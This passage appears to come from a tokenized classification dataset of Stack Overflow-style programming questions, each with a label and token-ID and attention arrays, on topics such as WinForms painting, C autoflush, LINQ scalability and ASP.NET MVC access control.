298,
55,
98,
31,
22,
79,
845,
1389,
60,
14,
1797,
45,
13,
1,
11881,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
User Drawn Controls are using the previous form for Background.
===
I have several user drawn controls on a form, unfortunately when the form is shown the user drawn controls are showing the previous forms background rather than the current forms background. The paint event is very simple, and the background paint event is empty... Like this:
protected override void OnPaint(PaintEventArgs pe)
{
pe.Graphics.DrawImageUnscaled(_bmpImage, 0, 0);
}
protected override void OnPaintBackground(PaintEventArgs pevent)
{
//Leave empty...
}
How do I get the current background rather than the previous background to show? | 0 | [
2,
4155,
3160,
8671,
50,
568,
14,
1158,
505,
26,
2395,
9,
800,
3726,
3726,
31,
57,
238,
4155,
3160,
8671,
27,
21,
505,
15,
6200,
76,
14,
505,
25,
1721,
14,
4155,
3160,
8671,
50,
3187,
14,
1158,
1997,
2395,
864,
119,
14,
866,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Bad Class Token
===
While debugging through a .NET 3.5 SP1 project which is contacting a local web service, I'm receiving the exception
System.BadImageFormatException: "Bad Class Token"
Of course there aren't much more details about what's causing the exception.
I can tell that the method where this occurs, which is in the same class as it's caller, the debugger fails to reach. This exception occurs on the call of the method that contacts the web service. I do have other methods communicating with the web service, so the reference is good.
<strike>My unit tests for the method are also failing with the same exception.</strike> <br /><b>Correction</b>: my unit tests for the method are successful, furthering the confusion.
Does anyone know of a way to track down this exception? I've read through the documentation on the exception class, which leads me to believe that one of the assemblies is incorrect in its version, or there's an issue with the build.
What other steps would you suggest in troubleshooting this exception? | 0 | [
2,
896,
718,
20,
2853,
800,
3726,
3726,
133,
121,
16254,
2762,
120,
21,
13,
9,
2328,
203,
9,
264,
3782,
165,
669,
56,
25,
2203,
68,
21,
375,
2741,
365,
15,
31,
22,
79,
3396,
14,
5391,
329,
9,
5989,
22039,
23588,
10066,
872,
45... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
#include <iostream> vs. #include <iostream.h> vs. #include "iostream.h"
===
When including a header file in C++, what's the difference between...
1) including the .h versus not including the .h when wrapping it in < > signs?
#include <iostream> vs. #include <iostream.h>
2) wrapping the header name in double quotes versus wrapping it in < > signs?
#include <iostream.h> vs. #include "iostream.h"
Thanks in advance!
| 0 | [
2,
6926,
22640,
13,
1,
1963,
11260,
1,
4611,
9,
6926,
22640,
13,
1,
1963,
11260,
9,
252,
1,
4611,
9,
6926,
22640,
13,
7,
1963,
11260,
9,
252,
7,
800,
3726,
3726,
76,
215,
21,
157,
106,
3893,
19,
272,
20512,
15,
98,
22,
18,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How scalable is LINQ?
===
Recent conversations with colleagues have produced varying points of view on this matter. What say you, SO members? | 0 | [
2,
184,
18957,
579,
25,
6294,
1251,
60,
800,
3726,
3726,
1764,
13527,
29,
8493,
57,
671,
9852,
819,
16,
1418,
27,
48,
1161,
9,
98,
395,
42,
15,
86,
443,
60,
3,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
machine.config path
===
How do I get the path to the machine.config from a .Net application? It should automatically get the correct path based on the .Net version of the app. | 0 | [
2,
1940,
9,
14093,
2816,
2013,
800,
3726,
3726,
184,
107,
31,
164,
14,
2013,
20,
14,
1940,
9,
14093,
2816,
37,
21,
13,
9,
2328,
3010,
60,
32,
378,
7499,
164,
14,
4456,
2013,
432,
27,
14,
13,
9,
2328,
615,
16,
14,
4865,
9,
3,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
What does scalability mean to you?
===
I posted a [similar question][1] on how scalable linq is. There were so many different views on what scalability actually meant in some recent conversations, so it has sparked me to ask this question as well. What does scalability mean to you?
[1]: http://stackoverflow.com/questions/214233/how-scalable-is-linq | 0 | [
2,
98,
630,
18957,
4091,
884,
20,
42,
60,
800,
3726,
3726,
31,
6054,
21,
636,
19107,
1301,
500,
2558,
165,
500,
27,
184,
18957,
579,
6294,
1251,
25,
9,
80,
46,
86,
151,
421,
4146,
27,
98,
18957,
4091,
1121,
1380,
19,
109,
1764,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Stop a event from bubbling in GWT
===
I have the following snippet of code, changeTextArea is a TextArea object.
changeTextArea.addKeyboardListener(new KeyboardListenerAdapter()
public void onKeyPress( Widget sender, char keyCode, int modifier){
//do something
//I WISH TO STOP THE EVENT THAT MAPS TO THIS KEYPRESS FROM BUBBLING ANY FURTHER
}
}
How would I stop the Event that is causing this method to be called from bubbling up from changeTextArea into the Panels/Widgets/Composites/Whatever that contain changeTextArea. Put succinctly, how do I stop it from bubbling any further. Any help would be appreciated (especially code samples). | 0 | [
2,
747,
21,
807,
37,
26977,
19,
14094,
38,
800,
3726,
3726,
31,
57,
14,
249,
13,
29061,
16,
1797,
15,
753,
11969,
17760,
25,
21,
1854,
17760,
3095,
9,
753,
11969,
17760,
9,
14854,
4237,
2806,
13891,
106,
5,
2681,
8896,
13891,
106,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
C equivalent of autoflush?
===
In Perl, I can type:
$|++;
and anything printed to STDOUT will be automatically fflush()ed.
Is there an equivalent in C? In other words, is there some way I can tell stdio to automatically fflush stdout after every printf(), the way it automatically flushes stderr? | 0 | [
2,
272,
4602,
16,
3108,
12848,
1635,
60,
800,
3726,
3726,
19,
416,
255,
15,
31,
92,
1001,
45,
5579,
1,
20512,
73,
17,
602,
5317,
20,
354,
43,
1320,
129,
44,
7499,
398,
12848,
1635,
5,
6,
69,
9,
25,
80,
40,
4602,
19,
272,
60,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to set up internal browser for Aptana on Linux
===
I downloaded the Aptana_Studio_Setup_Linux.zip package, unpacked it and run ./AptanaStudio. It starts fine, but reports one problem:
*The embedded browser widget for this editor cannot be created. It is either not available for your operating system or the system needs to be configured in order to support embedded browser.*
After that, it opens the "Welcome page" in external browser (Mozilla), but when I click on a link to install PHP support it does not open the destination target. No wonder, because the link is in format: com.aptana....etc. I.e. written in reverse. I assume such links only work with internal browser.
If I look into details, I get these error messages:
No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
org.eclipse.swt.SWTError: No more handles [Unknown Mozilla path (MOZILLA_FIVE_HOME not set)]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:138)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
at org.eclipse.ui.internal.WorkbenchPartReference.getPart(WorkbenchPartReference.java:566)
at org.eclipse.ui.internal.PartPane.setVisible(PartPane.java:290)
etc. I hope this is enough.
I tried to set the env. variable:
export MOZILLA_FIVE_HOME=/usr/lib/mozilla/
However, it only changes the error message to:
No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
org.eclipse.swt.SWTError: No more handles [NS_InitEmbedding /usr/lib/mozilla/ error -2147221164]
at org.eclipse.swt.SWT.error(SWT.java:3400)
at org.eclipse.swt.browser.Browser.<init>(Browser.java:225)
at org.eclipse.ui.internal.browser.BrowserViewer.<init>(BrowserViewer.java:224)
at org.eclipse.ui.internal.browser.WebBrowserEditor.createPartControl(WebBrowserEditor.java:78)
at com.aptana.ide.intro.browser.CoreBrowserEditor.createPartControl(CoreBrowserEditor.java:138)
at org.eclipse.ui.internal.EditorReference.createPartHelper(EditorReference.java:596)
at org.eclipse.ui.internal.EditorReference.createPart(EditorReference.java:372)
For start I really want to have PHP working, but I'd also like to fix the whole internal browser issue in the end. | 0 | [
2,
184,
20,
309,
71,
3117,
16495,
26,
8442,
9068,
27,
13024,
800,
3726,
3726,
31,
23887,
14,
8442,
9068,
1,
21026,
1,
3554,
576,
1,
1226,
7147,
9,
2553,
306,
6030,
15,
367,
8573,
69,
32,
17,
485,
13,
9,
118,
2552,
9068,
21026,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to set some custom variables on Matlab startup
===
I would like to set some initial variables (like `format compact` and the current directory) automatically on each startup of Matlab.
How can I do that? | 0 | [
2,
184,
20,
309,
109,
5816,
12157,
27,
4277,
9086,
20205,
800,
3726,
3726,
31,
83,
101,
20,
309,
109,
2104,
12157,
13,
5,
1403,
13,
1,
23588,
8285,
1,
17,
14,
866,
16755,
6,
7499,
27,
206,
20205,
16,
4277,
9086,
9,
184,
92,
31... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
How do I get Fiddler to stop ignoring traffic to localhost?
===
When using Fiddler to monitor HTTP Requests & Responses in Internet Explorer it ignores all traffic directed to http://localhost. | 0 | [
2,
184,
107,
31,
164,
12759,
139,
20,
747,
9321,
2227,
20,
375,
11694,
60,
800,
3726,
3726,
76,
568,
12759,
139,
20,
7626,
7775,
12279,
279,
13231,
19,
2620,
8520,
32,
7174,
18,
65,
2227,
1012,
20,
7775,
6903,
15580,
11694,
9,
3,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Does different database use different name quote ?
===
For example, mysql quote table name using
SELECT * FROM `table_name`;
notice the `
Does other database ever use different char to quote their table name
| 0 | [
2,
630,
421,
6018,
275,
421,
204,
16371,
13,
60,
800,
3726,
3726,
26,
823,
15,
51,
18,
22402,
16371,
859,
204,
568,
5407,
1637,
37,
13,
1,
5924,
1,
7259,
1,
73,
3551,
14,
13,
1,
630,
89,
6018,
462,
275,
421,
4892,
20,
16371,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Is there an actual difference in the 2 different ways of attaching event handlers in C#?
===
In C# is there any real difference (other than syntax) under the hood between:
myButton.Click += new EventHandler(myMemberMethod);
and
myButton.Click += myMemberMethod;
? | 0 | [
2,
25,
80,
40,
3463,
2841,
19,
14,
172,
421,
2847,
16,
19514,
68,
807,
24641,
18,
19,
272,
5910,
60,
800,
3726,
3726,
19,
272,
5910,
25,
80,
186,
683,
2841,
13,
5,
9539,
119,
22649,
6,
131,
14,
6124,
128,
45,
51,
811,
444,
9... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What is the smallest ExtJS package?
===
Does anyone know the bare minimum files required for Ext JS 2.2? Currently the SDK comes with the following subdirectories:
ext-2.2/
----------
adapter
air
build
docs
examples
resources
source
I think its pretty safe to remove examples, docs, and air. However, are there other things we can remove to make this smaller or is there a resource (besides the large javascript source code corpus) that documents the minimum required files? | 0 | [
2,
98,
25,
14,
11056,
1396,
38,
728,
18,
6030,
60,
800,
3726,
3726,
630,
1276,
143,
14,
4856,
5187,
6488,
1390,
26,
1396,
38,
487,
18,
172,
9,
135,
60,
871,
14,
13,
18,
43,
197,
1624,
29,
14,
249,
972,
10197,
1596,
45,
1396,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How do you restrict access to a certain user using ASP.NET MVC?
===
So let's say I have an eBay-type application where only the seller can edit his/her listing. How do I go about restricting access to the Edit action based on the Id of the item we're editing and the currently logged in user?
As far as I can tell, the Authorize attribute only allows you to restrict access to controller actions based on whether the user is authenticated or not and their role. Is this simply something that I need to handle manually within the controller? | 0 | [
2,
184,
107,
42,
15436,
1381,
20,
21,
1200,
4155,
568,
28,
306,
9,
2328,
307,
8990,
60,
800,
3726,
3726,
86,
408,
22,
18,
395,
31,
57,
40,
13,
62,
7011,
8,
4474,
3010,
113,
104,
14,
3344,
106,
92,
9392,
33,
118,
1694,
9554,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
How to make a living by programming from home
===
I've been working full-time as a programmer for 16 years across three different companies. While that has been fun (and not so fun), I'm at a point where I'd like to abandon the daily commute and corporate life, and instead try and make a living working from home. The model I've got in mind is taking on projects for companies located anywhere on the planet (given I live in Brisbane, Australia, the opportunities for remote employment locally aren't so good). The employers would have to be happy with never meeting me in person.
There's the obvious parallel with contributing to open source projects, though I'm specifically paying jobs; this would become my primary source of income, rather than a volunteer effort.
I'm assuming that if it's not someone who already knows me, I'd have to have a way of demonstrating to a potential employer that I can actually code. For example, verifiable contributions to open source; one or more reference sites or projects; anything that can show what I can do.
I've come across several people in recent times who do this successfully, but in all cases the work obtained was through prior relationships. Is that the only way it can work?
Is using a "payment on delivery" model wise? That is, take on a project, on the understanding that I don't get paid until I'm done. I can see the potential for exploitation, though that could be avoided if the employer was reputable. At least at the beginning, this *seems* like a way of building trust with an employer.
Are there any trustworthy employers who support this style of working? [Canonical][1] comes to mind, though I get the impression they're fairly unique in that regard.
Am I kidding myself that this is even viable? Is it too non-traditional for the vast majority of companies that need code written?
[1]: http://www.canonical.com/ | 2 | [
2,
184,
20,
233,
21,
634,
34,
3143,
37,
213,
800,
3726,
3726,
31,
22,
195,
74,
638,
503,
8,
891,
28,
21,
17968,
26,
347,
122,
464,
132,
421,
1532,
9,
133,
30,
63,
74,
2414,
13,
5,
290,
52,
86,
2414,
6,
15,
31,
22,
79,
35... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
Converting hex to RGB and vice-versa
===
What is the most efficient way to do this? | 0 | [
2,
19583,
24,
396,
20,
761,
11400,
17,
1821,
8,
5498,
58,
800,
3726,
3726,
98,
25,
14,
127,
8243,
161,
20,
107,
48,
60,
3,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... |
Java very large heap sizes
===
Does anyone have experience with using very large heaps 12 gb or higher in Java?
- Does the GC make the program ununable?
- What GC params do you use?
- Which jvm sun or bea would be better suited for this?
- Which platform linux or windows performs better under such conditions?
- In the case of windows is there any performance difference to be had between 64 bit vista and xp under such high memory loads?
| 0 | [
2,
8247,
253,
370,
15414,
13403,
800,
3726,
3726,
630,
1276,
57,
1496,
29,
568,
253,
370,
15414,
18,
390,
14857,
54,
1184,
19,
8247,
60,
13,
8,
630,
14,
13,
10362,
233,
14,
625,
367,
1020,
579,
60,
13,
8,
98,
13,
10362,
2258,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What's the quickest way to get the mean of a set of numbers from the command line?
===
Using any tools which you would expect to find on a nix system (in fact, if you want, msdos is also fine too), what is the easiest/fastest way to calculate the mean of a set of numbers, assuming you have them one per line in a stream or file?
| 0 | [
2,
98,
22,
18,
14,
2231,
1430,
161,
20,
164,
14,
884,
16,
21,
309,
16,
2116,
37,
14,
1202,
293,
60,
800,
3726,
3726,
568,
186,
4672,
56,
42,
83,
4186,
20,
477,
27,
21,
13,
14064,
329,
13,
5,
108,
837,
15,
100,
42,
259,
15,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... |
What options are available for cross platform resource bundle editors?
===
We're releasing a new set of resource bundles for a large open source project, and I'd like to make some good recommendations for cross platform resource bundle editors to translators.
The only useful candidates I can find include:
* [RBManager](http://www.icu-project.org/download/rbmanager.html)
* [Eclipse ResourceBundle Editor](http://sourceforge.net/projects/eclipse-rbe/) | 0 | [
2,
98,
6368,
50,
904,
26,
919,
2452,
6577,
10194,
12149,
60,
800,
3726,
3726,
95,
22,
99,
8054,
21,
78,
309,
16,
6577,
10194,
18,
26,
21,
370,
